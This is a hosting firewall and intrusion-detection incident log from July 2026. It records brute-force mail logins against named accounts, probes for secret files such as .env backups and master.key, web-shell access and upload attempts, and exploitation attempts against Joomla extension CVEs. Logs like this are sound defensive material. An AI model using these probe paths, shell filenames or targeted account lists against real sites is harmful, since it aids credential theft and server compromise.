# incident

plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 13.214.206.61
country_id: 1880251
domain: webdisk.ibmcglobal.com
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/mwOppDaFmFmFSKQNgQuirzAMEKXO8wyMJ3bi_wTIOrY||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 52.77.236.22
country_id: 1880251
domain: autoconfig.ibmcglobal.com
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/lVUW3DsdAbY5L8dGkfUxa5MABAK4mGpeojS0skPDUmc||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 52.38.72.70
country_id: 6252001
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/a0vyVjMAiCKoce2OtPvcgkQfwWNTQfZNupm4kp8epe4||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 18.223.169.218
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/JCc2pBADkSYjGb78Tnleb9TrR2IER79nSc93MCkYuMw||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.205.169
country_id: 1733045
description:
2026-07-07 13:12:35 dovecot_login authenticator failed for H=([185.208.195.210]) [49.124.205.169]:53420: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.114.40.60
country_id: 1835841
description:
2026-07-07 13:12:24 dovecot_login authenticator failed for H=([59.23.15.223]) [211.114.40.60]:57516: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 38.175.193.133
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:ibmcglobal||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 184.69.137.242
country_id: 6251999
domain: www.ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:ibmcglobal||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.63.87.152
country_id: 6251999
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/yukticlick/public_html/wp-content||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 146.59.183.16
country_id: 3017382
domain: ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/config/master.key||User:ibmcglobal||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-07 13:21:32 dovecot_login authenticator failed for H=(110-25-109-53.adsl.fetnet.net) [183.82.108.109]:40824: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-07 13:22:03 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com ([98.181.137.69]) [24.142.170.231]:53630: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-07 13:29:29 dovecot_login authenticator failed for H=([119.192.219.77]) [65.20.211.96]:44820: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.99.194.100
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.globalgroupoman.com/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.165.29.196
country_id: 1733045
description:
2026-07-07 13:29:47 dovecot_login authenticator failed for H=([58.222.72.182]) [202.165.29.196]:21959: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-07 13:33:43 dovecot_login authenticator failed for H=([2.55.70.124]) [122.185.101.50]:33600: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-07 13:34:21 dovecot_login authenticator failed for H=([49.124.151.28]) [118.220.149.121]:58728: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.95.141.216
country_id: 1269750
description:
2026-07-07 13:34:36 dovecot_login authenticator failed for H=(hpot-141-39-221-152.rdns.hnet.measurement.network) [59.95.141.216]:47976: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-07 13:35:23 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:42102: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.41
country_id: 99237
description:
2026-07-07 13:38:50 dovecot_login authenticator failed for H=([202.138.229.190]) [65.20.204.41]:49397: 535 Incorrect authentication data (set_id=support@idealloanz.com.au)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 181.233.26.58
country_id: 3932488
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:36258.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b8e137723e7075058090fe691c96a212c5be5c32||Title:0xe4459b0b||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-07 13:43:18 dovecot_login authenticator failed for H=(219-89-198-191.adsl.xtra.co.nz) [182.95.189.66]:57490: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.217
country_id: 1819730
description:
2026-07-07 13:43:31 dovecot_login authenticator failed for H=217.42.246.220.static.netvigator.com ([68.71.249.154]) [220.246.42.217]:59852: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-07 13:46:37 dovecot_login authenticator failed for H=([49.124.151.2]) [125.23.204.74]:60764: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-07 13:53:08 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp ([61.72.145.38]) [60.40.45.223]:58405: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-07 13:53:26 dovecot_login authenticator failed for H=([49.124.151.76]) [128.134.83.141]:60950: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.10
country_id: 1668284
description:
2026-07-07 13:53:53 dovecot_login authenticator failed for H=111-70-32-10.emome-ip.hinet.net ([183.171.154.42]) [111.70.32.10]:60774: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.78
country_id: 99237
description:
2026-07-07 13:54:59 dovecot_login authenticator failed for H=([49.124.146.41]) [65.20.167.78]:55940: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.225.61.156
country_id: 6252001
description:
2026-07-07 13:56:15 dovecot_login authenticator failed for H=wsip-68-225-61-156.pn.at.cox.net ([72.215.46.115]) [68.225.61.156]:49918: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-07 13:56:33 dovecot_login authenticator failed for H=([196.189.51.64]) [94.16.17.139]:44838: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.96.62.29
country_id: 1835841
description:
2026-07-07 14:01:44 dovecot_login authenticator failed for H=([116.74.77.163]) [183.96.62.29]:1897: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.38.3.107
country_id: 2215636
description:
2026-07-07 14:02:02 dovecot_login authenticator failed for H=([45.82.109.136]) [102.38.3.107]:33556: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-07 14:02:28 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee (151.237.115.208.pronet.bg) [37.157.91.62]:42807: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 178.210.187.26
country_id: 3277605
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://fabretti.ru/bitrix/redirect.php?goto=https%3A%2F%2Fimages.google.com.eg%2Furl%3Fq%3Dhttps%3A%2F%2Ftrextv.uk%2F\">IPTV Turkey</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-07 14:04:18 dovecot_login authenticator failed for H=(54.126.103.87.rev.vodafone.pt) [182.95.102.190]:42622: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.134.45.64
country_id: 6252001
description:
2026-07-07 14:05:04 dovecot_login authenticator failed for H=(110-25-112-151.adsl.fetnet.net) [174.134.45.64]:57325: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-07 14:05:19 dovecot_login authenticator failed for H=([36.135.62.94]) [119.196.213.196]:48544: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.122.110
country_id: 1269750
description:
2026-07-07 14:05:49 dovecot_login authenticator failed for H=([45.178.227.128]) [182.95.122.110]:48446: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.30.129.165
country_id: 6251999
description:
2026-07-07 14:06:03 dovecot_login authenticator failed for H=host-96-30-129-165.public.eastlink.ca (191.34.34.41.static.adsl.gvt.net.br) [96.30.129.165]:54732: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.156
country_id: 1668284
description:
2026-07-07 14:06:04 dovecot_login authenticator failed for H=111-70-29-156.emome-ip.hinet.net ([183.247.171.186]) [111.70.29.156]:57646: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.187.49
country_id: 1835841
description:
2026-07-07 14:06:25 dovecot_login authenticator failed for H=([49.124.151.29]) [124.153.187.49]:40244: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.216.86.39
country_id: 895949
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:60430.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:61deb33c0092dfdafa7d3b4578f85496c2916c21||Title:0x37e86db4||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-07 14:06:41 dovecot_login authenticator failed for H=(sigma.com.ru) [181.61.251.4]:58874: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.95.241.150
country_id: 1522867
description:
2026-07-07 14:07:06 dovecot_login authenticator failed for H=(bergsound.Moscow.Access.Comstar.ru) [93.95.241.150]:36036: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2026-07-07 14:08:45 dovecot_login authenticator failed for H=([117.191.83.250]) [36.39.140.2]:51022: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-07 14:09:11 dovecot_login authenticator failed for H=([220.189.253.198]) [120.29.140.188]:33673: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-07 14:10:07 dovecot_login authenticator failed for H=([195.222.57.190]) [103.176.160.146]:39406: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.149.148
country_id: 1269750
description:
2026-07-07 14:10:23 dovecot_login authenticator failed for H=(customer.sntochl1.isp.starlink.com) [103.250.149.148]:47122: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.128.84.224
country_id: 1835841
description:
2026-07-07 14:13:42 dovecot_login authenticator failed for H=([138.219.13.21]) [121.128.84.224]:49436: 535 Incorrect authentication data (set_id=hr@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-07 14:14:01 dovecot_login authenticator failed for H=([72.207.109.1]) [207.254.29.22]:63816: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.113.10
country_id: 1269750
description:
2026-07-07 14:15:17 dovecot_login authenticator failed for H=(217.pool90-160-135.dynamic.orange.es) [27.123.113.10]:57922: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-07 14:15:36 dovecot_login authenticator failed for H=([120.62.8.163]) [123.212.9.122]:45040: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.61.33.117
country_id: 1269750
description:
2026-07-07 14:15:55 dovecot_login authenticator failed for H=([174.64.199.85]) [163.61.33.117]:36262: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-07 14:15:34 dovecot_login authenticator failed for H=([104.37.132.51]) [125.19.182.118]:51912: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 180.251.151.220
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/LUMINA_1783414030838.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 180.251.151.220
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/LUMINA_1783414016140.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.16.189.213
country_id: 953987
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/11/01/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.229.98.52
country_id: 2510769
description:
2026-07-07 14:18:44 dovecot_login authenticator failed for H=([184.185.2.254]) [185.229.98.52]:40059: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-07 14:20:25 dovecot_login authenticator failed for H=(212-135-208-13.cyberverse.fun) [103.206.131.33]:34279: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-07-07 14:20:51 dovecot_login authenticator failed for H=([182.95.148.3]) [169.211.232.182]:52866: 535 Incorrect authentication data (set_id=it)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.178.87
country_id: 1562822
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/blog/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-07 14:21:59 dovecot_login authenticator failed for H=(static-201-163-73-93.alestra.net.mx) [218.156.8.97]:44154: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.153.181.80
country_id: 1861060
description:
2026-07-07 14:22:37 dovecot_login authenticator failed for H=m106153181080.v4.enabler.ne.jp ([131.108.162.24]) [106.153.181.80]:49364: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-07-07 14:29:19 dovecot_login authenticator failed for H=(host-233-150-66-217.spbmts.ru) [103.120.116.162]:34353: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.108.219
country_id: 2661886
description:
2026-07-07 14:29:34 dovecot_login authenticator failed for H=31-208-108-219.cust.bredband2.com (78.187.9.111.dynamic.ttnet.com.tr) [31.208.108.219]:55596: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.7
country_id: 798544
description:
2026-07-07 14:31:30 dovecot_login authenticator failed for H=89-68-245-7.dynamic.play.pl ([218.52.113.36]) [89.68.245.7]:51792: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 180.251.151.220
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/LUMINA_1783414892926.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 180.251.151.220
country_id: 1643084
domain: jaashsupplies.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/LUMINA_1783415077844.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://onlyxvids.com/video-tag/deerlong/\">\xe0\xb8\x84\xe0\xb8\xa5\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb8\xab\xe0\xb8\xa5\xe0\xb8\xb8\xe0\xb8\x94\xe0\xb8\x81\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x95\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xa2</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.161.126
country_id: 99237
description:
2026-07-07 14:37:50 dovecot_login authenticator failed for H=([192.111.129.146]) [65.20.161.126]:47974: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-07 14:37:57 dovecot_login authenticator failed for H=([121.163.63.200]) [182.95.181.50]:60456: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.61.33.117
country_id: 1269750
description:
2026-07-07 14:38:20 dovecot_login authenticator failed for H=([123.163.52.74]) [163.61.33.117]:55086: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.195
country_id: 1668284
description:
2026-07-07 14:38:37 dovecot_login authenticator failed for H=([197.251.249.75]) [101.13.5.195]:59334: 535 Incorrect authentication data (set_id=no-reply)


plugin: modsec
rule: 77469916
abuser: 188.119.26.40
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce1l0a1lrt.xml.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.239.28.158
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.0 Safari/537.36||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://katamari.rinoa.info/bbs/index.cgi?command=read_message&&amp\">\xe2\x80\x9cH\xe1\xbb\xa3p t\xc3\xa1c x\xc3\xa3 Khuy\xe1\xba\xbfn N\xc3\xb4ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.232.174
country_id: 1269750
description:
2026-07-07 14:49:19 dovecot_plain authenticator failed for H=(stolocacks) [152.52.232.174]:54090: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-07 14:52:07 dovecot_login authenticator failed for H=([174.75.211.211]) [63.78.215.208]:42383: 535 Incorrect authentication data (set_id=support@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.45.238
country_id: 1269750
description:
2026-07-07 15:00:35 dovecot_login authenticator failed for H=([106.0.166.123]) [122.176.45.238]:47816: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-07 15:04:25 dovecot_login authenticator failed for H=(89-253-90-113.customers.ownit.se) [182.78.65.154]:56898: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-07 15:04:40 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [101.13.6.86]:60178: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://www.clauskc.dk/blog.php\">\xe2\x80\x9cH\xe1\xbb\xa3p t\xc3\xa1c x\xc3\xa3 Khuy\xe1\xba\xbfn N\xc3\xb4ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-07-07 15:09:10 dovecot_login authenticator failed for H=([212.73.75.82]) [119.198.191.180]:56042: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.74.72.83
country_id: 1861060
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/combinations/public_html/wp-content||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 40.74.72.83
country_id: 1861060
domain: combinations.in
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/combinations/public_html/wp-includes||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 40.74.72.83
country_id: 1861060
domain: combinations.in
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.26||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.142.147.190
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers-2?Itemid=101&catid=18 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 206.189.35.0
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:alfa.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-07 15:10:37 dovecot_login authenticator failed for H=([197.219.210.86]) [152.52.198.42]:50682: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: modsec
rule: 77102143
abuser: 103.77.107.194
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated front-end JCE editor-profile import in Joomla Content Editor before 2.9.99.5 (CVE-2026-48907)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 40.74.72.83
country_id: 1861060
domain: combinations.in
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.85.146.216
country_id: 6252001
description:
2026-07-07 15:13:07 dovecot_login authenticator failed for H=ool-435592d8.dyn.optonline.net (nsg-corporate-3.18.186.122.airtel.in) [67.85.146.216]:35937: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-07 15:13:30 dovecot_login authenticator failed for H=([72.207.33.65]) [182.95.217.202]:56280: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-07 15:13:52 dovecot_login authenticator failed for H=([59.93.36.136]) [119.92.76.210]:53776: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-07 15:14:08 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [103.206.131.33]:49821: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.192
country_id: 1733045
description:
2026-07-07 15:14:27 dovecot_login authenticator failed for H=(191.34.253.17.dynamic.adsl.gvt.net.br) [49.124.159.192]:59264: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-07-07 15:15:40 dovecot_login authenticator failed for H=([36.42.67.114]) [219.248.65.30]:57287: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
